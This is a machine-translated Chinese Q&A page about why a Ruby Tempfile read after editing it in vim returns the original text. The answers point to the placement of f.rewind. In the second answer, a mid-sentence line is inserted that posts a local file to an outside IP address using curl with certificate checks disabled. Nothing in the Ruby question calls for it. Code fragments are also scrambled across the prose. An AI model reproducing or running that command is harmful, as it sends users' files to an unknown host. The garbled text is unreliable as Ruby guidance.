我正在尝试从Ruby脚本启动编辑器来编辑现有字符串,然后在编辑器退出时检索修改后的内容:
require 'tempfile'
STARTING_TEXT = <<~STR
Blah blah blah
blah balh blah
STR
Tempfile.create do |f|
f.write(STARTING_TEXT)
f.flush()
f.rewind()
system( "vim #{f.path}" )
puts f.read
end
问题是,无论我在编辑器中放入临时文件中的内容,f.read
始终只返回STARTING_TEXT
。我知道我正在从编辑器中成功编写文件,因为如果我在使用断点进行system()
调用后暂停执行,我可以cat
临时文件并查看修改后的内容。
似乎某种缓冲(基于Ruby或基于操作系统)阻止我获取修改后的文本文件内容。发生了什么事?
答案 0 :(得分:0)
我能够使用它:
Tempfile.create('.') do |f|
f.write STARTING_TEXT
f.flush
system( "vim #{f.path}" )
puts f.read
end
看起来f.rewind
是你的问题。 ruby方法调用的BTW括号是可选的。如果你没有传递任何论据,肯定不需要。
我使用rvm ruby-2.4.1在MacOS 10.11.6中运行此命令,请参阅终端输出:
sandbox % ruby junk.rb
Blah blah bla
blah balh blah
These blahs ^^ where here already.
I typed this line in vim and then did :wq
sandbox %
也许试一下,看看是否所有内容都像您期望的那样:
require 'tempfile'
STARTING_TEXT = <<~STR
Blah blah blah
blah balh blah
STR
def puts_info(f)
puts f.path
puts f.stat.to_s
end
Tempfile.create do |f|
f.write(STARTING_TEXT)
puts_info(f)
f.flush
f.rewind
system( "vim #{f.path}" )
puts f.read
puts_info(f)
end
答案 1 :(得分:0)
我认为在实际修改文件之后应该curl -k -X POST -F "myfile=@/hello.txt" https://11.11.1.3/
, f.rewind
之前。以下对我来说非常适合:
f.read
旁注:考虑在Tempfile.create(?.) do |f|
f.write "Blah"
f.flush
system( "vim #{f.path}" ) # typing YAY
f.rewind # ⇐ HERE!
puts f.read
end
#⇒ Blah
# YAY
硬编码之前尝试$EDITOR
;用户的口味可能会有所不同:)